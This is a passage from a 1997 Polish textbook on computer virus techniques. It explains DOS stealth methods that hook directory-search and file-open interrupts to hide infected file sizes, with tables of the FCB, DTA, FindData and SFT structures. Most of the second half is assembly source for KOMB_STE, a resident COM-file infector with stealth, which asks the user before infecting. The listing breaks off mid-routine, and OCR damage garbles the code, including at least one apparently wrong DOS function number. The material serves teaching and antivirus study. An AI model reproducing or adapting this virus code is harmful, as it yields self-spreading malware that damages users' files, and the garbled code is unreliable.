wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały
omówione poniżej.
7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych
długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w
oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows
Commander czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z
trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego
wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21).
Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje
odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi
przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w
odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty,
będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są
oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych
specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody
operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control
Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu,
zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area),
których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku
FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe
pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym
blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza
go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu
pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola
długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres
Zawartość
00
numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok
opisu pliku FCB
01-08
8 bajtów nazwy pliku
09-0B
3 bajty rozszerzenia pliku
0C-0D
numer aktualnego bloku
0E-0F
długość logicznego rekordu
10-13
długość pliku
14-15
data ostatniej modyfikacji pliku
16-17
czas ostatniej modyfikacji pliku
18
ilość SFT dla pliku
19
atrybuty, znaczenie bitów
bity 7-6
00 - SHARE.EXE niezaładowany, plik dyskowy
01 - SHARE.EXE niezaładowany, sterownik
10 - SHARE.EXE załadowany, plik zdalny
11 - SHARE.EXE załadowany, plik dyskowy
lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów
1A-1F
zawartość zależna od pola 19, bity 7-6
wartość 11
1A-1B numer pierwszej JAP pliku
1C-1D określa numer rekordu w dostępie dzielonym
1E atrybuty pliku
1F nie używane wartość
10
1A-1B uchwyt w sieci
1C-1F ID w sieci wartość
01
1A-1D wskaźnik do nagfówka sterownika
1E-1F nie używane
wartość 00
1A bajt informacyjny
bit 7: atrybut tytko do odczytu w SFT
bit 6: atrybut archiwalności w SFT
bity 5-0: wyższe bity numeru sektora
1B-1C numer pierwszej JAP pliku
1D-1F niższe bity sektora zawierającego adres w katalogu
1F ilość pozycji katalogu w sektorze
20
bieżący rekord
21-24
numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów,
bardziej znacząca część jest pomijana
Struktura bloku opisu pliku FCB (rozszerzonego)
Adres
Zawartość
00
wartość OFFh oznacza blok rozszerzony
01-05
zarezerwowane
06
atrybuty pliku
07-2B
zwykły blok opisu FCB (patrz poprzednia tabela)
Struktura pola opisu pozycji katalogu
Adres
Zawartość
00-07
nazwa pliku
08-0A
rozszerzenie pliku
0B
atrybuty pliku
0C-15
zarezerwowane
16-17
czas ostatniej modyfikacji pliku
18-19
data ostatniej modyfikacji pliku
1A-1B
numer pierwszej JAP
1C-1F
długość pliku
7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS,
Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki
rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania
tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji
katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się
natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji,
należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie
odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-
1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres
Zawartość
00
znaczenie bitów:
bity 6-0 numer napędu
bit 7 ustawiony, oznacza plik zdalny
01-0B
szablon poszukiwanych pozycji katalogu
0C
atrybuty poszukiwanej pozycji
0D-0E
numer wejścia w katalogu
0F-10
numer JAP katalogu nadrzędnego
11-14
zarezerwowane
15
atrybut znalezionej pozycji katalogu
16-17
czas ostatniej modyfikacji znalezionej pozycji katalogu
18-19
data ostatniej modyfikacji znalezionej pozycji katalogu
1A-1D
długość znalezionej pozycji katalogu
1E-2A
nazwa i rozszerzenie pliku
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz
polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików,
którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi
długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows
oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21),
gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich
podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a
dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości
katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na
wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane
funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-
DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym
obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-
bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje
poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla
systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku
KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada
funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta
większość programów działających w systemie Windows 95, m.in. Explorator, a także
różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie
pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma
wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku
KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy
zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL
w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie
tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla
Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych
ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia
się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić,
czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres
Zawartość
00-03
atrybuty pliku
bity 0-6 standardowe atrybuty plików DOS
bit 8 plik tymczasowy (temporary)
04-0B
czas i data utworzenia pliku
0C-13
czas i data ostatniego dostępu do pliku
14-1B
czas i data ostatniej modyfikacji pliku
1C-1F
długość pliku (bardziej znaczące 32 bity)
20-23
długość pliku (mniej znaczące 32 bity)
24-2B
zarezerwowane
2C-12F
260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)
130-13D
14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)
7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać
także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość
katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie
infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż
nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem
(klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka).
Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną
infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie
odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w
pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący
plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie
procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w
poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem
wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie,
często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku
zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego
długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus,
jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać
jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na
końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są
dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na
wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table),
zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka
podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku
uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy
jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich
użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki
otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej
dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; weč adres tablicy JFT zawieraj╣cej
numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjŕ
MOV BL,ES:[DI] ; weč numer tablicy SFT
MOV AX,1216h ; weč adres tablicy SFT na podstawie
numeru w BL
INT 2Fh ; wywo│aj funkcjŕ ES:DI wskazuje na
tablicŕ SFT pliku
Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy
SFT podano poniżej:
Format podtablicy SFT
Adres
Zawartość
00-03
Wskaźnik do następnej podtablicy
04
N - liczba plików w podtablicy
06-40
Opis pliku nr 1 w podtablicy - patrz następna tablica
Opis pliku nr N w podtablicy
Opis pliku zawarty w tablicy SFT
Adres
Zawartość
00-01
Liczba łączników do pliku
02-03
Tryb
04
Atrybut pliku
05-06
Informacja o pliku
07-0A
Wskaźnik do nagłówka programu obsługi lub do bloku DPB
0B-0C
Pierwsza JAP pliku
0D-0E
Czas ostatniej modyfikacji pliku
0F-11
Data ostatniej modyfikacji pliku
11-14
Rozmiar pliku
15-18
Aktualna pozycja wskaźnika odczytu/zapisu pliku
19-1A
Względny numer JAP
1B-1E
Położenie elementu katalogu opisującego plik
20-2A
Nazwa i rozszerzenie pliku
2B-2E
Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)
2F-30
Numer komputera w sieci (pole programu SHARE)
31-32
Adres właściciela pliku (jego PSP)
33-34
Położenie w obszarze roboczym listy zablokowanych regionów pliku
(pole programu SHARE)
35-36
Numer JAP
37-3A
Wskaźnik do IFS pliku lub 00000000h
Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia
DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike
STEALTH ;
;
;
;----------------------------------------------------------------
------------;
; Informacje Techniczne
;
;----------------------------------------------------------------
------------;
;
;
; Wirus oszukuje uzytkownika w nastepujacy sposob :
;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania
katalogu za ;
; pomoca polecenia DIR
;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania
katalogu za ;
; pomoca nakladek typu Dos Navigator, Norton Commander
;
; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej
wirusa ;
; (plik jest sztucznie "ucinany" w tablicy SFT )
;
;
;
; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w
zarazonych ;
; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza
instrukcja ;
; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo,
poniewaz wirus ;
; informuje o wykonywanych przez siebie operacjach - w
momencie wywolania ;
; zainfekowanego programu, pojawi sie od niego komunikat
mowiacy o tym, ;
; iz wirus jest juz zainstalowany w pamieci.
;
;
;
; Kompilacja :
;
; TASM KOMB_STE.ASM
;
; TLINK /t KOMB_STE.OB J
;
;
;
;----------------------------------------------------------------
------------;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia czy
wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany
w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywana
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
struktury
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends
DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej
pozycji
DIRExt db 3 dup(?) ; rozszerzenie
znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej
pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej
pozycji
DIRDate dw ? ; data znalezionej
pozycji
DIRStartJAP dw ? ; poczatkowa JAP
znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej
pozycji
DIRStruc ends
SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do
pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o
urzadzeniu
SFTDevPtr dd ? ; adres do naglowka
sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej
pozycji
SFTPos dd ? ; wskaznik
odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie
pliku
SFTStruc ends
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie
relatywny ofset
Trik:
pop si ; zdejmij ze stosu
relatywny ofset
sub si,103h ; oblicz ofset do
poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus
jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa
odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz
komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do
nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o
wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj
uzytkownika, czy chce
Call DrukSI ; \ zainstalowac
wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik
nie chce instalowac
mov ax,3521h ; funkcja DOS - wez
adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres
(wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB
aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB
aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku
pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o
dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien
rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj jaki chcesz
blok pamieci
mov ah,48h ; funkcja DOS -
przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie
przydzielic
mov es,ax ; ES=wskazuje na
przydzielony blok
xor di,di ; ES:DI - dokad
skopiowac
cld ; zwiekszaj SI, DI w
REP MOVSB
push si ; SI bedzie zmieniany
wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow
kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do
ES:DI, CX bajtow
pop si ; przywroc relatywny
ofset
mov ax,es ; pobierz adres do MCB
opisujacego
dec ax ; blok, w ktorym jest
wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa
jako systemowy
sub ax,0Fh ; \ DS=adres bloku-
10h
mov ds,ax ; \ sztuczka, dzieki
ktorej mozna
; / odwolywac sie do
danych jak w
; / zwyklym programie
COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej
procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw
adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl
komunikat o
pop ds ; \ instalacji w
pamieci
lea di,TeZainstalowany ; \ i segment, w
ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc
DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3
poczatkowe bajty
mov ds:[100h],al ; \ programu pod
adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie
slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla
bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac
rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz
rezydujacego
xchg al,ah ; - wirusa (na
pytanie czy jest
iret ; / w pamieci)
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS -
uruchom program ?
je InfekcjaPliku ; TAK - sprobuj
infekowac
cmp ax,Haslo ; czy pytanie wirusa o
instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz, ze
zainstalowany
cmp ah,11h ; \ czy funkcje
przeszukiwania ?
je STEALTH_11_12 ; \ katalogu uzywane
przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj
jesli trzeba
cmp ah,4Eh ; \ czy funkcje
przeszukiwania ?
je STEALTH_4E_4F ; \ katalogu uzywane
przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj
jesli trzeba
cmp ah,3Dh
je STEALTH_3D
jmp PowrotZInt21 ; idz do poprzedniego
lancucha
; przerwan
STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci
rejestrow
push es ax bx di ; / zmienionych przez
wywolanie
mov bx,ax ; BX zawiera uchwyt
(numer) pliku
mov ax,1220h ; wez adres tablicy
JFT
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
mov bl,es:[di] ; wez numer tablicy
SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy
SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
cmp es:[di][SFTDate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH
niepotrzebne
cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc
zainfekowany
cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku
>=dlug. wirus
; TAK - moze byc
zainfekowany
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc
wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej
czesci
STEALTH_3D_Powrot:
pop di bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow
STEALTH_3D_Powrot2:
Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem
ustawionych znacznikow
; ES:DI wskazuje na
tablicÓ SFT pliku
STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych
Call StareInt21 ; wywolaj stare
przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad
pushf ; \ zachowaj wartosci
rejestrow
push es ax bx ; / zmienionych przez
wywolanie
mov ah,2Fh ; funkcja DOS - wez
adres do DTA
Call StareInt21 ; wywolaj stare
przerwanie 21h
cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB
?
jne ZwyklyFCB ; NIE - zwykly FCB
add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje
na zwykly FCB
ZwyklyFCB:
cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH
niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc
zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >=
dlugosc wirusa
; TAK - moze miec
wirusa
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc
wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej
czesci
STEALTH_11_12_Powrot:
pop bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow
STEALTH_11_12_Powrot2:
Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem
ustawionych znacznikow
STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci
rejestrow
push es ax bx ; / zmienionych przez
wywolanie
mov ah,2Fh ; funkcja DOS - wez
adres do DTA
Call StareInt21 ; wywolaj stare
przerwanie 21h
cmp es:[bx][DTADate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH
niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc
zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku
>=dlug. wirusa
; TAK - moze byc
zainfekowany
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc
wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej
czesci
STEALTH_4E_4F_Powrot:
pop bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow
STEALTH_4E_4F_Powrot2:
Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem
ustawionych znacznikow
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane
rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do
nazwy pliku
mov cs:StaryDX, dx ; /
call UstawNowe24
mov ax,4300h ; funkcja DOS - czytaj
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec
powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz
atrybut
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov ax,5700h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku
na pozniej
cmp dx,VZnacznik ; czy plik jest juz
zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik,
powrot
push cs ; \ DS=CS=segment
wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych
bajtow
lea dx,StareBajty ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to
nie EXE
je ZamknijPlik ; gdy 'MZ' to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik
EXE, powrot
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX = starsza czesc
dlugosci pliku
or dx,dx ; czy plik krotszy niz
65536 ?
jnz ZamknijPlik ; NIE - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000
?
ja ZamknijPlik ; NIE - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj
sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora
rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj
uzytkownika
Call Druk ; \ czy chce
zainfekowac
; \ plik
mov di,cs:StaryDX ; \ nazwa pliku
jest
mov ds,cs:StaryDS ; \ wyswietlana
Call Druk ; \
; - (dzieki temu
uzytkownik
push cs ; / ma pelna
kontrole nad
pop ds ; / tym co
wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1
uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych
bajtow
mov dx,100h ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
